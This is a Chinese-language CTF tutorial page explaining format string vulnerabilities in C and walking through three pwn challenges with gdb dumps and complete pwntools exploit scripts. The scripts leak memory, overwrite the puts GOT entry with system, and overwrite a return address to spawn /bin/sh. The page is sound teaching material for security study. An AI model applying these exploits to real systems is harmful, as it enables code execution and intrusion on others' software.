<p>格式化字符串函数可以接受可变数量的参数，并将<strong>第一个参数作为格式化字符串，根据其来解析之后的参数</strong>。通俗来说，格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的C/C++程序都会利用格式化字符串函数来<strong>输出信息，调试程序，或者处理字符串</strong>。一般来说，格式化字符串在利用的时候主要分为三个部分</p>
<ul>
<li>格式化字符串函数</li>
<li>格式化字符串</li>
<li>后续参数，<strong>可选</strong></li>
</ul>
<p>这里我们给出一个简单的例子，其实相信大多数人都接触过printf函数之类的。之后我们再一个一个进行介绍。</p>
<h3 id="格式化字符串函数"><a class="header" href="#格式化字符串函数">格式化字符串函数</a></h3>
<p>常见的有格式化字符串函数有</p>
<ul>
<li>输入
<ul>
<li>scanf</li>
</ul>
</li>
<li>输出</li>
</ul>
<div class="table-wrapper"><table><thead><tr><th style="text-align: center">函数</th><th style="text-align: center">基本介绍</th></tr></thead><tbody>
<tr><td style="text-align: center">printf</td><td style="text-align: center">输出到stdout</td></tr>
<tr><td style="text-align: center">fprintf</td><td style="text-align: center">输出到指定FILE流</td></tr>
<tr><td style="text-align: center">vprintf</td><td style="text-align: center">根据参数列表格式化输出到 stdout</td></tr>
<tr><td style="text-align: center">vfprintf</td><td style="text-align: center">根据参数列表格式化输出到指定FILE流</td></tr>
<tr><td style="text-align: center">sprintf</td><td style="text-align: center">输出到字符串</td></tr>
<tr><td style="text-align: center">snprintf</td><td style="text-align: center">输出指定字节数到字符串</td></tr>
<tr><td style="text-align: center">vsprintf</td><td style="text-align: center">根据参数列表格式化输出到字符串</td></tr>
<tr><td style="text-align: center">vsnprintf</td><td style="text-align: center">根据参数列表格式化输出指定字节到字符串</td></tr>
<tr><td style="text-align: center">setproctitle</td><td style="text-align: center">设置argv</td></tr>
<tr><td style="text-align: center">syslog</td><td style="text-align: center">输出日志</td></tr>
<tr><td style="text-align: center">err, verr, warn, vwarn等</td><td style="text-align: center">。。。</td></tr>
</tbody></table>
</div>
<h3 id="格式化字符串"><a class="header" href="#格式化字符串">格式化字符串</a></h3>
<p>这里我们了解一下格式化字符串的格式，其基本格式如下</p>
<pre><code>%[parameter][flags][field width][.precision][length]type

</code></pre>
<p>每一种pattern的含义请具体参考维基百科的<a href="https://zh.wikipedia.org/wiki/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2">格式化字符串</a> 。以下几个pattern中的对应选择需要重点关注</p>
<ul>
<li>parameter
<ul>
<li>n$，获取格式化字符串中的指定参数</li>
</ul>
</li>
<li>flag</li>
<li>field width
<ul>
<li>输出的最小宽度</li>
</ul>
</li>
<li>precision
<ul>
<li>输出的最大长度</li>
</ul>
</li>
<li>length，输出的长度
<ul>
<li>hh，输出一个字节</li>
<li>h，输出一个双字节</li>
</ul>
</li>
<li>type
<ul>
<li>d/i，有符号整数</li>
<li>u，无符号整数</li>
<li>x/X，16进制unsigned int 。x使用小写字母；X使用大写字母。如果指定了精度，则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0，则输出为空。</li>
<li>o，8进制unsigned int 。如果指定了精度，则输出的数字不足时在左侧补0。默认精度为1。精度为0且值为0，则输出为空。</li>
<li><strong>s</strong>，如果没有用l标志，输出null结尾字符串直到精度规定的上限；如果没有指定精度，则输出所有字节。如果用了l标志，则对应函数参数指向wchar_t型的数组，输出时把每个宽字符转化为多字节字符，相当于调用wcrtomb 函数。</li>
<li>c，如果没有用l标志，把int参数转为unsigned char型输出；如果用了l标志，把wint_t参数转为包含两个元素的wchart_t数组，其中第一个元素包含要输出的字符，第二个元素为null宽字符。</li>
<li><strong>p</strong>， void *型，输出对应变量的值。printf(“%p”,a)用地址的格式打印变量a的值，printf(“%p”, &amp;a)打印变量a所在的地址。</li>
<li><strong>n</strong>，不输出字符，但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。</li>
<li>%， ’<code>%</code>’字面值，不接受任何flags, width。</li>
</ul>
</li>
</ul>
<h3 id="参数"><a class="header" href="#参数">参数</a></h3>
<p>就是相应的要输出的变量。</p>
<h2 id="格式化字符串漏洞原理"><a class="header" href="#格式化字符串漏洞原理">格式化字符串漏洞原理</a></h2>
<p>在一开始，我们就给出格式化字符串的基本介绍，这里再说一些比较细致的内容。我们上面说，格式化字符串函数是根据格式化字符串函数来进行解析的。<strong>那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制</strong>。比如说’%s’表明我们会输出一个字符串参数。</p>
<p>我们再继续以上面的为例子进行介绍</p>
<p>对于这样的例子，在进入printf函数的之前(即还没有调用printf)，栈上的布局由高地址到低地址依次如下</p>
<pre><code class="language-text">some value
3.14
123456
addr of &quot;red&quot;
addr of format string: Color %s...
</code></pre>
<p><strong>注：这里我们假设3.14上面的值为某个未知的值。</strong></p>
<p>在进入printf之后，函数首先获取第一个参数，一个一个读取其字符会遇到两种情况</p>
<ul>
<li>当前字符不是%，直接输出到相应标准输出。</li>
<li>当前字符是%， 继续读取下一个字符
<ul>
<li>如果没有字符，报错</li>
<li>如果下一个字符是%,输出%</li>
<li>否则根据相应的字符，获取相应的参数，对其进行解析并输出</li>
</ul>
</li>
</ul>
<p>那么假设，此时我们在编写程序时候，写成了下面的样子</p>
<pre><code class="language-C">printf(&quot;Color %s, Number %d, Float %4.2f&quot;);
</code></pre>
<p>此时我们可以发现我们并没有提供参数，那么程序会如何运行呢？</p>
<p>程序照样会运行，会将栈上存储格式化字符串地址上面的三个变量分别解析为</p>
<ol>
<li>解析其地址对应的字符串</li>
<li>解析其内容对应的整形值</li>
<li>解析其内容对应的浮点值</li>
</ol>
<p>对于2，3来说倒还无妨，但是对于对于1来说，如果提供了一个不可访问地址，比如0，那么程序就会因此而崩溃。</p>
<p>这基本就是格式化字符串漏洞的基本原理了。</p>
<h1 id="格式化字符串漏洞例子"><a class="header" href="#格式化字符串漏洞例子">格式化字符串漏洞例子</a></h1>
<p>下面会介绍一些 CTF 中的格式化漏洞的题目。也都是格式化字符串常见的利用。</p>
<h2 id="64位程序格式化字符串漏洞"><a class="header" href="#64位程序格式化字符串漏洞">64位程序格式化字符串漏洞</a></h2>
<h3 id="原理"><a class="header" href="#原理">原理</a></h3>
<p>其实 64 位的偏移计算和 32 位类似，都是算对应的参数。只不过 64 位函数的前 6 个参数是存储在相应的寄存器中的。那么在格式化字符串漏洞中呢？虽然我们并没有向相应寄存器中放入数据，但是程序依旧会按照格式化字符串的相应格式对其进行解析。</p>
<h3 id="例子"><a class="header" href="#例子">例子</a></h3>
<p>pwn200-GoodLuck</p>
<p>这里由于只有本地环境，所以我在本地设置了一个 flag.txt 文件。</p>
<h4 id="确定保护"><a class="header" href="#确定保护">确定保护</a></h4>
<pre><code class="language-shell">➜  2017-UIUCTF-pwn200-GoodLuck git:(master) ✗ checksec goodluck
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
</code></pre>
<p>可以看出程序开启了 NX 保护以及部分 RELRO 保护。</p>
<h4 id="分析程序"><a class="header" href="#分析程序">分析程序</a></h4>
<p>可以发现，程序的漏洞很明显</p>
<pre><code class="language-C">  for ( j = 0; j &lt;= 21; ++j )
  {
    v5 = format[j];
    if ( !v5 || v11[j] != v5 )
    {
      puts(&quot;You answered:&quot;);
      printf(format);
      puts(&quot;\nBut that was totally wrong lol get rekt&quot;);
      fflush(_bss_start);
      result = 0;
      goto LABEL_11;
    }
  }
</code></pre>
<h4 id="确定偏移"><a class="header" href="#确定偏移">确定偏移</a></h4>
<p>我们在 printf 处下偏移如下,这里只关注代码部分与栈部分。</p>
<pre><code class="language-shell">gef➤  b printf
Breakpoint 1 at 0x400640
gef➤  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/2017-UIUCTF-pwn200-GoodLuck/goodluck
what's the flag
123456
You answered:

Breakpoint 1, __printf (format=0x602830 &quot;123456&quot;) at printf.c:28
28	printf.c: 没有那个文件或目录.

─────────────────────────────────────────────────────────[ code:i386:x86-64 ]────
   0x7ffff7a627f7 &lt;fprintf+135&gt;    add    rsp, 0xd8
   0x7ffff7a627fe &lt;fprintf+142&gt;    ret
   0x7ffff7a627ff                  nop
 → 0x7ffff7a62800 &lt;printf+0&gt;       sub    rsp, 0xd8
   0x7ffff7a62807 &lt;printf+7&gt;       test   al, al
   0x7ffff7a62809 &lt;printf+9&gt;       mov    QWORD PTR [rsp+0x28], rsi
   0x7ffff7a6280e &lt;printf+14&gt;      mov    QWORD PTR [rsp+0x30], rdx
───────────────────────────────────────────────────────────────────────[ stack ]────
['0x7fffffffdb08', 'l8']
8
0x00007fffffffdb08│+0x00: 0x0000000000400890  →  &lt;main+234&gt; mov edi, 0x4009b8	 ← $rsp
0x00007fffffffdb10│+0x08: 0x0000000031000001
0x00007fffffffdb18│+0x10: 0x0000000000602830  →  0x0000363534333231 (&quot;123456&quot;?)
0x00007fffffffdb20│+0x18: 0x0000000000602010  →  &quot;You answered:\ng&quot;
0x00007fffffffdb28│+0x20: 0x00007fffffffdb30  →  &quot;flag{11111111111111111&quot;
0x00007fffffffdb30│+0x28: &quot;flag{11111111111111111&quot;
0x00007fffffffdb38│+0x30: &quot;11111111111111&quot;
0x00007fffffffdb40│+0x38: 0x0000313131313131 (&quot;111111&quot;?)
──────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x7ffff7a62800 → Name: __printf(format=0x602830 &quot;123456&quot;)
[#1] 0x400890 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────


</code></pre>
<p>可以看到 flag 对应的栈上的偏移为 5，除去对应的第一行为返回地址外，其偏移为 4。此外，由于这是一个 64 位程序，所以前 6 个参数存在在对应的寄存器中，fmt 字符串存储在 RDI 寄存器中，所以 fmt 字符串对应的地址的偏移为 10。而 fmt 字符串中 <code>%order$s</code> 对应的 order 为 fmt 字符串后面的参数的顺序，所以我们只需要输入 <code>%9$s</code> 即可得到 flag 的内容。</p>
<h4 id="利用程序"><a class="header" href="#利用程序">利用程序</a></h4>
<pre><code class="language-python">from pwn import *
from LibcSearcher import *
goodluck = ELF('./goodluck')
if args['REMOTE']:
    sh = remote('pwn.sniperoj.cn', 30017)
else:
    sh = process('./goodluck')
payload = &quot;%9$s&quot;
print payload
##gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()
</code></pre>
<h2 id="hijack-got"><a class="header" href="#hijack-got">hijack GOT</a></h2>
<h3 id="原理-1"><a class="header" href="#原理-1">原理</a></h3>
<p>在目前的 C 程序中，libc 中的函数都是通过 GOT 表来跳转的。此外，在没有开启 RELRO 保护的前提下，每个 libc 的函数对应的 GOT 表项是可以被修改的。因此，我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而，程序在执行 printf 的时候实际执行的是 system 函数。</p>
<p>假设我们将函数 A 的地址覆盖为函数 B 的地址，那么这一攻击技巧可以分为以下步骤</p>
<ul>
<li>
<p>确定函数 A 的 GOT 表地址。</p>
<ul>
<li>这一步我们利用的函数 A 一般在程序中已有，所以可以采用简单的寻找地址的方法来找。</li>
</ul>
</li>
<li>
<p>确定函数 B 的内存地址</p>
<ul>
<li>这一步通常来说，需要我们自己想办法来泄露对应函数 B 的地址。</li>
</ul>
</li>
<li>
<p>将函数B的内存地址写入到函数 A 的 GOT 表地址处。</p>
<ul>
<li>
<p>这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种</p>
<ul>
<li>写入函数：write 函数。</li>
<li>ROP</li>
</ul>
<pre><code class="language-text">pop eax; ret; 			# printf@got -&gt; eax
pop ebx; ret; 			# (addr_offset = system_addr - printf_addr) -&gt; ebx
add [eax] ebx; ret; 	# [printf@got] = [printf@got] + addr_offset
</code></pre>
<ul>
<li>格式化字符串任意地址写</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="例子-1"><a class="header" href="#例子-1">例子</a></h3>
<p>这里我们以 2016 CCTF 中的 <a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/2016-CCTF-pwn3">pwn3</a> 为例进行介绍。</p>
<h4 id="确定保护-1"><a class="header" href="#确定保护-1">确定保护</a></h4>
<p>如下</p>
<pre><code class="language-shell">➜  2016-CCTF-pwn3 git:(master) ✗ checksec pwn3
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
</code></pre>
<p>可以看出程序主要开启了 NX 保护。我们一般默认远程都是开启 ASLR 保护的。</p>
<h4 id="分析程序-1"><a class="header" href="#分析程序-1">分析程序</a></h4>
<p>首先分析程序，可以发现程序似乎主要实现了一个需密码登录的 ftp，具有 get，put，dir 三个基本功能。大概浏览一下每个功能的代码，发现在 get 功能中存在格式化字符串漏洞</p>
<pre><code class="language-C">int get_file()
{
  char dest; // [sp+1Ch] [bp-FCh]@5
  char s1; // [sp+E4h] [bp-34h]@1
  char *i; // [sp+10Ch] [bp-Ch]@3

  printf(&quot;enter the file name you want to get:&quot;);
  __isoc99_scanf(&quot;%40s&quot;, &amp;s1);
  if ( !strncmp(&amp;s1, &quot;flag&quot;, 4u) )
    puts(&quot;too young, too simple&quot;);
  for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
  {
    if ( !strcmp(i, &amp;s1) )
    {
      strcpy(&amp;dest, i + 0x28);
      return printf(&amp;dest);
    }
  }
  return printf(&amp;dest);
}
</code></pre>
<h4 id="漏洞利用思路"><a class="header" href="#漏洞利用思路">漏洞利用思路</a></h4>
<p>既然有了格式化字符串漏洞，那么我们可以确定如下的利用思路</p>
<ul>
<li>绕过密码</li>
<li>确定格式化字符串参数偏移</li>
<li>利用 put@got 获取 put 函数地址，进而获取对应的 libc.so 的版本，进而获取对应 system 函数地址。</li>
<li>修改 puts@got 的内容为 system 的地址。</li>
<li>当程序再次执行 puts 函数的时候，其实执行的是 system 函数。</li>
</ul>
<h4 id="漏洞利用程序"><a class="header" href="#漏洞利用程序">漏洞利用程序</a></h4>
<p>如下</p>
<pre><code class="language-python">from pwn import *
from LibcSearcher import LibcSearcher
##context.log_level = 'debug'
pwn3 = ELF('./pwn3')
if args['REMOTE']:
    sh = remote('111', 111)
else:
    sh = process('./pwn3')


def get(name):
    sh.sendline('get')
    sh.recvuntil('enter the file name you want to get:')
    sh.sendline(name)
    data = sh.recv()
    return data


def put(name, content):
    sh.sendline('put')
    sh.recvuntil('please enter the name of the file you want to upload:')
    sh.sendline(name)
    sh.recvuntil('then, enter the content:')
    sh.sendline(content)


def show_dir():
    sh.sendline('dir')


tmp = 'sysbdmin'
name = &quot;&quot;
for i in tmp:
    name += chr(ord(i) - 1)


## password
def password():
    sh.recvuntil('Name (ftp.hacker.server:Rainism):')
    sh.sendline(name)


##password
password()
## get the addr of puts
puts_got = pwn3.got['puts']
log.success('puts got : ' + hex(puts_got))
put('1111', '%8$s' + p32(puts_got))
puts_addr = u32(get('1111')[:4])

## get addr of system
libc = LibcSearcher(&quot;puts&quot;, puts_addr)
system_offset = libc.dump('system')
puts_offset = libc.dump('puts')
system_addr = puts_addr - puts_offset + system_offset
log.success('system addr : ' + hex(system_addr))

## modify puts@got, point to system_addr
payload = fmtstr_payload(7, {puts_got: system_addr})
put('/bin/sh;', payload)
sh.recvuntil('ftp&gt;')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
##gdb.attach(sh)
sh.sendline('/bin/sh;')

## system('/bin/sh')
show_dir()
sh.interactive()
</code></pre>
<p>注意</p>
<ul>
<li>我在获取 puts 函数地址时使用的偏移是 8，这是因为我希望我输出的前 4 个字节就是 puts 函数的地址。其实格式化字符串的首地址的偏移是 7。</li>
<li>这里利用了 pwntools 中的 fmtstr_payload 函数，比较方便获取我们希望得到的结果，有兴趣的可以查看官方文档尝试。比如这里 fmtstr_payload(7, {puts_got: system_addr}) 的意思就是，我的格式化字符串的偏移是 7，我希望在 puts_got 地址处写入 system_addr 地址。默认情况下是按照字节来写的。</li>
</ul>
<h2 id="hijack-retaddr"><a class="header" href="#hijack-retaddr">hijack retaddr</a></h2>
<h3 id="原理-2"><a class="header" href="#原理-2">原理</a></h3>
<p>很容易理解，我们要利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址。</p>
<h3 id="例子-2"><a class="header" href="#例子-2">例子</a></h3>
<p>这里我们以 <a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/%E4%B8%89%E4%B8%AA%E7%99%BD%E5%B8%BD-pwnme_k0">三个白帽-pwnme_k0</a> 为例进行分析。</p>
<h4 id="确定保护-2"><a class="header" href="#确定保护-2">确定保护</a></h4>
<pre><code class="language-shell">➜  三个白帽-pwnme_k0 git:(master) ✗ checksec pwnme_k0
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
</code></pre>
<p>可以看出程序主要开启了 NX 保护以及 Full RELRO 保护。这我们就没有办法修改程序的 got 表了。</p>
<h4 id="分析程序-2"><a class="header" href="#分析程序-2">分析程序</a></h4>
<p>简单分析一下，就知道程序似乎主要实现了一个类似账户注册之类的功能，主要有修改查看功能，然后发现在查看功能中发现了格式化字符串漏洞</p>
<pre><code class="language-C">int __usercall sub_400B07@&lt;eax&gt;(char format@&lt;dil&gt;, char formata, __int64 a3, char a4)
{
  write(0, &quot;Welc0me to sangebaimao!\n&quot;, 0x1AuLL);
  printf(&amp;formata, &quot;Welc0me to sangebaimao!\n&quot;);
  return printf(&amp;a4 + 4);
}
</code></pre>
<p>其输出的内容为 &amp;a4 + 4。我们回溯一下，发现我们读入的 password 内容也是</p>
<pre><code class="language-C">    v6 = read(0, (char *)&amp;a4 + 4, 0x14uLL);
</code></pre>
<p>当然我们还可以发现 username 和 password 之间的距离为 20 个字节。</p>
<pre><code class="language-C">  puts(&quot;Input your username(max lenth:20): &quot;);
  fflush(stdout);
  v8 = read(0, &amp;bufa, 0x14uLL);
  if ( v8 &amp;&amp; v8 &lt;= 0x14u )
  {
    puts(&quot;Input your password(max lenth:20): &quot;);
    fflush(stdout);
    v6 = read(0, (char *)&amp;a4 + 4, 0x14uLL);
    fflush(stdout);
    *(_QWORD *)buf = bufa;
    *(_QWORD *)(buf + 8) = a3;
    *(_QWORD *)(buf + 16) = a4;
</code></pre>
<p>好，这就差不多了。此外，也可以发现这个账号密码其实没啥配对不配对的。</p>
<h4 id="利用思路"><a class="header" href="#利用思路">利用思路</a></h4>
<p>我们最终的目的是希望可以获得系统的 shell，可以发现在给定的文件中，在 0x00000000004008A6 地址处有一个直接调用system(‘bin/sh’) 的函数（关于这个的发现，一般都会现在程序大致看一下。）。那如果我们修改某个函数的返回地址为这个地址，那就相当于获得了 shell。</p>
<p>虽然存储返回地址的内存本身是动态变化的，但是其相对于 rbp 的地址并不会改变，所以我们可以使用相对地址来计算。利用思路如下</p>
<ul>
<li>确定偏移</li>
<li>获取函数的 rbp 与返回地址</li>
<li>根据相对偏移获取存储返回地址的地址</li>
<li>将执行 system 函数调用的地址写入到存储返回地址的地址。</li>
</ul>
<h4 id="确定偏移-1"><a class="header" href="#确定偏移-1">确定偏移</a></h4>
<p>首先，我们先来确定一下偏移。输入用户名 aaaaaaaa，密码随便输入，断点下在输出密码的那个 printf(&amp;a4 + 4) 函数处</p>
<pre><code class="language-text">Register Account first!
Input your username(max lenth:20):
aaaaaaaa
Input your password(max lenth:20):
%p%p%p%p%p%p%p%p%p%p
Register Success!!
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit sangebaimao:(
&gt;error options
1.Sh0w Account Infomation!
2.Ed1t Account Inf0mation!
3.QUit sangebaimao:(
&gt;1
...
</code></pre>
<p>此时栈的情况为</p>
<pre><code class="language-text">─────────────────────────────────────────────────────────[ code:i386:x86-64 ]────
     0x400b1a                  call   0x400758
     0x400b1f                  lea    rdi, [rbp+0x10]
     0x400b23                  mov    eax, 0x0
 →   0x400b28                  call   0x400770
   ↳    0x400770                  jmp    QWORD PTR [rip+0x20184a]        # 0x601fc0
        0x400776                  xchg   ax, ax
        0x400778                  jmp    QWORD PTR [rip+0x20184a]        # 0x601fc8
        0x40077e                  xchg   ax, ax
────────────────────────────────────────────────────────────────────[ stack ]────
0x00007fffffffdb40│+0x00: 0x00007fffffffdb80  →  0x00007fffffffdc30  →  0x0000000000400eb0  →   push r15	 ← $rsp, $rbp
0x00007fffffffdb48│+0x08: 0x0000000000400d74  →   add rsp, 0x30
0x00007fffffffdb50│+0x10: &quot;aaaaaaaa&quot;	 ← $rdi
0x00007fffffffdb58│+0x18: 0x000000000000000a
0x00007fffffffdb60│+0x20: 0x7025702500000000
0x00007fffffffdb68│+0x28: &quot;%p%p%p%p%p%p%p%pM\r@&quot;
0x00007fffffffdb70│+0x30: &quot;%p%p%p%pM\r@&quot;
0x00007fffffffdb78│+0x38: 0x0000000000400d4d  →   cmp eax, 0x2
</code></pre>
<p>可以发现我们输入的用户名在栈上第三个位置，那么除去本身格式化字符串的位置，其偏移为为 5 + 3 = 8。</p>
<h4 id="修改地址"><a class="header" href="#修改地址">修改地址</a></h4>
<p>我们再仔细观察下断点处栈的信息</p>
<pre><code class="language-text">0x00007fffffffdb40│+0x00: 0x00007fffffffdb80  →  0x00007fffffffdc30  →  0x0000000000400eb0  →   push r15	 ← $rsp, $rbp
0x00007fffffffdb48│+0x08: 0x0000000000400d74  →   add rsp, 0x30
0x00007fffffffdb50│+0x10: &quot;aaaaaaaa&quot;	 ← $rdi
0x00007fffffffdb58│+0x18: 0x000000000000000a
0x00007fffffffdb60│+0x20: 0x7025702500000000
0x00007fffffffdb68│+0x28: &quot;%p%p%p%p%p%p%p%pM\r@&quot;
0x00007fffffffdb70│+0x30: &quot;%p%p%p%pM\r@&quot;
0x00007fffffffdb78│+0x38: 0x0000000000400d4d  →   cmp eax, 0x2
</code></pre>
<p>可以看到栈上第二个位置存储的就是该函数的返回地址(其实也就是调用 show account 函数时执行 push rip 所存储的值)，在格式化字符串中的偏移为 7。</p>
<p>与此同时栈上，第一个元素存储的也就是上一个函数的 rbp。所以我们可以得到偏移 0x00007fffffffdb80 - 0x00007fffffffdb48 = 0x38。继而如果我们知道了 rbp 的数值，就知道了函数返回地址的地址。</p>
<p>0x0000000000400d74 与 0x00000000004008A6 只有低 2 字节不同，所以我们可以只修改 0x00007fffffffdb48 开始的 2 个字节。</p>
<p>这里需要说明的是在某些较新的系统(如 ubuntu 18.04)上, 直接修改返回地址为 0x00000000004008A6 时可能会发生程序 crash, 这时可以考虑修改返回地址为 0x00000000004008AA,  即直接调用 system(“/bin/sh”) 处</p>
<pre><code class="language-assembly">.text:00000000004008A6 sub_4008A6      proc near
.text:00000000004008A6 ; __unwind {
.text:00000000004008A6                 push    rbp
.text:00000000004008A7                 mov     rbp, rsp
.text:00000000004008AA &lt;- here         mov     edi, offset command ; &quot;/bin/sh&quot;
.text:00000000004008AF                 call    system
.text:00000000004008B4                 pop     rdi
.text:00000000004008B5                 pop     rsi
.text:00000000004008B6                 pop     rdx
.text:00000000004008B7                 retn
</code></pre>
<h4 id="利用程序-1"><a class="header" href="#利用程序-1">利用程序</a></h4>
<pre><code class="language-python">from pwn import *
context.log_level=&quot;debug&quot;
context.arch=&quot;amd64&quot;

sh=process(&quot;./pwnme_k0&quot;)
binary=ELF(&quot;pwnme_k0&quot;)
#gdb.attach(sh)

sh.recv()
sh.writeline(&quot;1&quot;*8)
sh.recv()
sh.writeline(&quot;%6$p&quot;)
sh.recv()
sh.writeline(&quot;1&quot;)
sh.recvuntil(&quot;0x&quot;)
ret_addr = int(sh.recvline().strip(),16) - 0x38
success(&quot;ret_addr:&quot;+hex(ret_addr))


sh.recv()
sh.writeline(&quot;2&quot;)
sh.recv()
sh.sendline(p64(ret_addr))
sh.recv()
#sh.writeline(&quot;%2214d%8$hn&quot;)
#0x4008aa-0x4008a6
sh.writeline(&quot;%2218d%8$hn&quot;)

sh.recv()
sh.writeline(&quot;1&quot;)
sh.recv()
sh.interactive()
</code></pre>
<p>题目</p>
<p>ezstack</p>
<p>wdb_2018_2nd_easyfmt</p>

                    </main>

                    <nav class="nav-wrapper" aria-label="Page navigation">
                        <!-- Mobile navigation buttons -->
                            <a rel="prev" href="../../posts/ctf/pwn_heap_overflow.html" class="mobile-nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
                                <i class="fa fa-angle-left"></i>
                            </a>

                            <a rel="next" href="../../posts/ctf/kali_linux_tutorials.html" class="mobile-nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
                                <i class="fa fa-angle-right"></i>
                            </a>

                        <div style="clear: both"></div>
                    </nav>
                </div>
            </div>

            <nav class="nav-wide-wrapper" aria-label="Page navigation">
                    <a rel="prev" href="../../posts/ctf/pwn_heap_overflow.html" class="nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
                        <i class="fa fa-angle-left"></i>
                    </a>

                    <a rel="next" href="../../posts/ctf/kali_linux_tutorials.html" class="nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
                        <i class="fa fa-angle-right"></i>
                    </a>
            </nav>

        </div>



        <script>
            window.playground_line_numbers = true;
        </script>

        <script>
            window.playground_copyable = true;
        </script>

        <script src="../../ace.js"></script>
        <script src="../../editor.js"></script>
        <script src="../../mode-rust.js"></script>
        <script src="../../theme-dawn.js"></script>
        <script src="../../theme-tomorrow_night.js"></script>

        <script src="../../elasticlunr.min.js"></script>
        <script src="../../mark.min.js"></script>
        <script src="../../searcher.js"></script>

        <script src="../../clipboard.min.js"></script>
        <script src="../../highlight.js"></script>
        <script src="../../book.js"></script>

        <!-- Custom JS scripts -->
        <script src="../../src/js/custom.js"></script>


    </div>
    </body>
</html>
